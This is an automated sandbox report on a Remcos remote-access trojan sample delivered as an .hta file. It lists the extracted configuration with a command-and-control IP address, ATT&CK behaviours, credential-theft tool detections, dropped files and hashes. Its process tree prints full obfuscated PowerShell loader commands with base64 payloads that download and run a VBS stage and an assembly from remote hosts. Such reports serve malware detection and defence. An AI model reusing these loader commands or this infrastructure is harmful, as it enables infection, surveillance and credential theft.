remcos | dbb09d03e938bfdf95e1a36d363dc9efacd1ddf57e06219b44c7511109da8e46

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-01-2025 07:20

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General

Target

nicepersonentiretimeimeetwellwithhershebeautiful.hta
Size

139KB
MD5

bad41547eb584b8e1abcbeecd8b0020c
SHA1

da47c40d7a590ae020a8a9ef4a2cbb0be34ce6e4
SHA256

dbb09d03e938bfdf95e1a36d363dc9efacd1ddf57e06219b44c7511109da8e46
SHA512

4ae8d7c590cc5b6ebd4f2936dadb96b6d8569f0f40810b3cf40d068d9d572240ef5f6fed31dfef13b1ca5c50893ce2f9cece1a604c295362a73d58c8b0f7cc2f
SSDEEP

768:tJnUZA+cT/RVeU2Dx6AyZ6LAuAHAUxLcUd1/KUny6yQWa1jn4FaNwkfkP0d1/KUv:t3

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

172.245.123.12:8690

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ET2B3I
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/744-106-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4880-105-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3184-102-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3184-102-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/744-106-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	3080	powershell.exe
17	1532	powershell.exe
18	1532	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
3080	powershell.exe
4264	cmd.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1532	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1532 set thread context of 4772	1532	powershell.exe	93
PID 4772 set thread context of 744	4772	CasPol.exe	98
PID 4772 set thread context of 3184	4772	CasPol.exe	99
PID 4772 set thread context of 4880	4772	CasPol.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3080	powershell.exe
3080	powershell.exe
1532	powershell.exe
1532	powershell.exe
4880	CasPol.exe
4880	CasPol.exe
744	CasPol.exe
744	CasPol.exe
744	CasPol.exe
744	CasPol.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
4772	CasPol.exe
4772	CasPol.exe
4772	CasPol.exe
4772	CasPol.exe
4772	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	4880	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4772	CasPol.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 4264	1928	mshta.exe	83
PID 1928 wrote to memory of 4264	1928	mshta.exe	83
PID 1928 wrote to memory of 4264	1928	mshta.exe	83
PID 4264 wrote to memory of 3080	4264	cmd.exe	85
PID 4264 wrote to memory of 3080	4264	cmd.exe	85
PID 4264 wrote to memory of 3080	4264	cmd.exe	85
PID 3080 wrote to memory of 1820	3080	powershell.exe	87
PID 3080 wrote to memory of 1820	3080	powershell.exe	87
PID 3080 wrote to memory of 1820	3080	powershell.exe	87
PID 1820 wrote to memory of 3628	1820	csc.exe	88
PID 1820 wrote to memory of 3628	1820	csc.exe	88
PID 1820 wrote to memory of 3628	1820	csc.exe	88
PID 3080 wrote to memory of 3808	3080	powershell.exe	89
PID 3080 wrote to memory of 3808	3080	powershell.exe	89
PID 3080 wrote to memory of 3808	3080	powershell.exe	89
PID 3808 wrote to memory of 1532	3808	WScript.exe	90
PID 3808 wrote to memory of 1532	3808	WScript.exe	90
PID 3808 wrote to memory of 1532	3808	WScript.exe	90
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 1532 wrote to memory of 4772	1532	powershell.exe	93
PID 4772 wrote to memory of 4128	4772	CasPol.exe	97
PID 4772 wrote to memory of 4128	4772	CasPol.exe	97
PID 4772 wrote to memory of 4128	4772	CasPol.exe	97
PID 4772 wrote to memory of 744	4772	CasPol.exe	98
PID 4772 wrote to memory of 744	4772	CasPol.exe	98
PID 4772 wrote to memory of 744	4772	CasPol.exe	98
PID 4772 wrote to memory of 744	4772	CasPol.exe	98
PID 4772 wrote to memory of 3184	4772	CasPol.exe	99
PID 4772 wrote to memory of 3184	4772	CasPol.exe	99
PID 4772 wrote to memory of 3184	4772	CasPol.exe	99
PID 4772 wrote to memory of 3184	4772	CasPol.exe	99
PID 4772 wrote to memory of 3300	4772	CasPol.exe	100
PID 4772 wrote to memory of 3300	4772	CasPol.exe	100
PID 4772 wrote to memory of 3300	4772	CasPol.exe	100
PID 4772 wrote to memory of 4880	4772	CasPol.exe	101
PID 4772 wrote to memory of 4880	4772	CasPol.exe	101
PID 4772 wrote to memory of 4880	4772	CasPol.exe	101
PID 4772 wrote to memory of 4880	4772	CasPol.exe	101

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicepersonentiretimeimeetwellwithhershebeautiful.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c poweRsHEll.eXe -EX bYpass -NOP -w 1 -C deVIcecreDEntIAlDEpLOYMENt ; iNVoKe-exPresSIoN($(INVOkE-EXpResSIoN('[systEm.text.EncOdInG]'+[ChaR]58+[CHar]58+'UTF8.geTStRing([SYstEm.convErt]'+[ChAR]58+[CHaR]0x3a+'frOMbAsE64strINg('+[CHAR]34+'JG1nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFUkRFRmluSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFd5SWJTSEpLT2ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdPRGpULHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDeUR0R2NGLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWtHVXVmUVRmcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga0ZJaHMpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1NVEVwYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGbXpXICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1nOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xMzIvNzY2L25pY2ViYWJ5Z2lybGZvcm1laGF2dmUudElGIiwiJEVOVjpBUFBEQVRBXG5pY2ViYWJ5Z2lybGZvcm1laGF2dm5pY2ViYWJ5Z2lybGZvcm1laGF2LnZiUyIsMCwwKTtzdEFSdC1TbEVFUCgzKTtpbnZvS2UtRXhwUmVTc2lPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXG5pY2ViYWJ5Z2lybGZvcm1laGF2dm5pY2ViYWJ5Z2lybGZvcm1laGF2LnZiUyI='+[char]0X22+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poweRsHEll.eXe -EX bYpass -NOP -w 1 -C deVIcecreDEntIAlDEpLOYMENt ; iNVoKe-exPresSIoN($(INVOkE-EXpResSIoN('[systEm.text.EncOdInG]'+[ChaR]58+[CHar]58+'UTF8.geTStRing([SYstEm.convErt]'+[ChAR]58+[CHaR]0x3a+'frOMbAsE64strINg('+[CHAR]34+'JG1nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFUkRFRmluSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFd5SWJTSEpLT2ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdPRGpULHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDeUR0R2NGLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWtHVXVmUVRmcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga0ZJaHMpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1NVEVwYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGbXpXICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1nOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xMzIvNzY2L25pY2ViYWJ5Z2lybGZvcm1laGF2dmUudElGIiwiJEVOVjpBUFBEQVRBXG5pY2ViYWJ5Z2lybGZvcm1laGF2dm5pY2ViYWJ5Z2lybGZvcm1laGF2LnZiUyIsMCwwKTtzdEFSdC1TbEVFUCgzKTtpbnZvS2UtRXhwUmVTc2lPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXG5pY2ViYWJ5Z2lybGZvcm1laGF2dm5pY2ViYWJ5Z2lybGZvcm1laGF2LnZiUyI='+[char]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jxeamwc0\jxeamwc0.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1820
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES95D7.tmp" "c:\Users\Admin\AppData\Local\Temp\jxeamwc0\CSC1E301CD7EB4941459BD4BA99D8BCC463.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3628
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicebabygirlformehavvnicebabygirlformehav.vbS"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3808
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA4ADgAMwAvADQAMgAzAC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAzADcAMQAyADQAOQA4ADAAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AZABlAG4AZQBwAHAAYQBoAHMAZwBuAGkAaAB0AGUAcgBvAG0AaAB0AGkAdwBlAGcAYQByAGUAdgBvAGMAZQByAG8AbQAvADYANgA3AC8AMgAzADEALgA4ADcAMQAuADYANAAuADgAOQAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1532
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4772
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\fgsxhlenotbbizrnurrcmrhizaezox"
        7⤵
        
        PID:4128
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\fgsxhlenotbbizrnurrcmrhizaezox"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:744
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hiyiiwpocbtflfnrlcevxetzipnihieiu"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3184
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\scdaj"
        7⤵
        
        PID:3300
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\scdaj"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
20931ed8fc4952fc9a2d670a1e07bb50

SHA1
6a7698a10e417553dc5d1a71aac77d4f85f0963a

SHA256
ce1165856e9df1738ba2b33e01cd120f33a0c715d792a0eaeeb8b6a97da490da

SHA512
2b90a50d5c9b0611d154162b789ec3a92446fcd8bd6034f44ab492032d5f84731fbffb2ca97eed36abade334982a0452cd0c207e4aa3ea3cb84ae1842cb27c1c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
c3f4a28bea462cb9a3c7cbbb686625b7

SHA1
7bd95a8c35744b49084bcf9b92c62fc28d14e69d

SHA256
582c111776481b46b07189eb08ce9d789b1b62b654e73c55c5a846ac6b882182

SHA512
6f4477b91c2e84c8f574fcb637a252d9f12100ed3ab4a2cc6ef735a9bef04219c11445add57817d000cb6b5b31f7f2e95af6445fb1335aa27a5183872fd4af86

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES95D7.tmp

Filesize
1KB

MD5
83125478b832f5b4df3ee7365f666cc6

SHA1
b4eaa7616b8eb08d402dd9d81093d5a68dc57fba

SHA256
bf59c5d7f7bfabf7b3647dd368d6d10f1563322b669f669130679c35a58d262c

SHA512
e03106ab6b040ad5c5d6b2938826893fc1b071e47ab88ffd31e68cbd5b3a008a1d93e21d216a7a77f4875cde1cc8891b5b5837f3f37c261225028dfdda039a8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_djkflutx.hak.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\fgsxhlenotbbizrnurrcmrhizaezox

Filesize
4KB

MD5
60a0bdc1cf495566ff810105d728af4a

SHA1
243403c535f37a1f3d5f307fc3fb8bdd5cbcf6e6

SHA256
fd12da9f9b031f9fa742fa73bbb2c9265f84f49069b7c503e512427b93bce6d2

SHA512
4445f214dbf5a01d703f22a848b56866f3f37b399de503f99d40448dc86459bf49d1fa487231f23c080a559017d72bcd9f6c13562e1f0bd53c1c9a89e73306a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\jxeamwc0\jxeamwc0.dll

Filesize
3KB

MD5
5e4c85f0f4bd3ec7ae8515b09cafa0d3

SHA1
2efbfc986f2ec04c388c0497667e6117ca4f3af3

SHA256
cd1bd8eae47c4e87c322bb680f39ee56277258df0200675907d6e84d908cd8ae

SHA512
432f47ba5ce9b40ecbf867b4f1d91b9e4b920e07cdb74e2194cff01774d56904703c941ea53e163bf001870bc6c7454da998f753dcc4bca54f399ab9a8c3f82d

Download Submit
C:\Users\Admin\AppData\Roaming\nicebabygirlformehavvnicebabygirlformehav.vbS

Filesize
229KB

MD5
743038855d008d967e70de63d3b6067b

SHA1
5fe5dfe00823ea779c43a05cf4eca254bc6b448f

SHA256
580efebb5dd99c6da0404819e716cf3af6b09bdbb7ea6782fa88a9961e3f4345

SHA512
6045292c9df58756092971d7766831df5d84ef27c08c5e2966c506aa8b85707d98289203c8a10717272f7709f197f1ae518a1724abd42ac74fba510db42a211a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jxeamwc0\CSC1E301CD7EB4941459BD4BA99D8BCC463.TMP

Filesize
652B

MD5
dedaf71391402516103adf324d5e27ce

SHA1
4fb80c371b65a5d713a66a43149f674f687df74b

SHA256
719635f44b7c81b9d3d4281a84a2b78cd9cf8c72958c509792016afba798dde6

SHA512
ecce17eb370bb5622d7a4e2b65dc2730eed1b3f62fe68663bf934aa175508df71c538b8fcba72390b4ac292d798798217e197a75d46a4b7909fd54efab428566

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jxeamwc0\jxeamwc0.0.cs

Filesize
490B

MD5
5333b2de1c7c92a8d581c3258a05b46d

SHA1
8ada86459f1209b2111a50084f9821a9341b4707

SHA256
7d961f8d55b6caee480f91ebae1e48ec8c17252335128364a255cc564c98f7db

SHA512
491136994067164802c4d0d0fc2626590af9849da96d7180e7bd12a1b79e86c1d9e1ca29c06b6375df4b98406ece0c01de55aa6b0bdd2736a0960edbf85d6168

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jxeamwc0\jxeamwc0.cmdline

Filesize
369B

MD5
df75cb25b0dcc45bc95dfdb599588eb6

SHA1
f915a60a6b21e4b788816c055df31aa2d766cb79

SHA256
6b716957bc0ccdaccf45351bc666de1bcea9ef39b6598f0c6663c86432bcc91d

SHA512
0fe87d1641c570acbb480620c400c7f6e22ce290c5485ec1ab21a83a3d86ee9aadbc3ffb456496468a0f6a9dd25519145cd5266324b08f687227fcb87795e8b4

Download Submit
memory/744-106-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/744-100-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/744-98-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
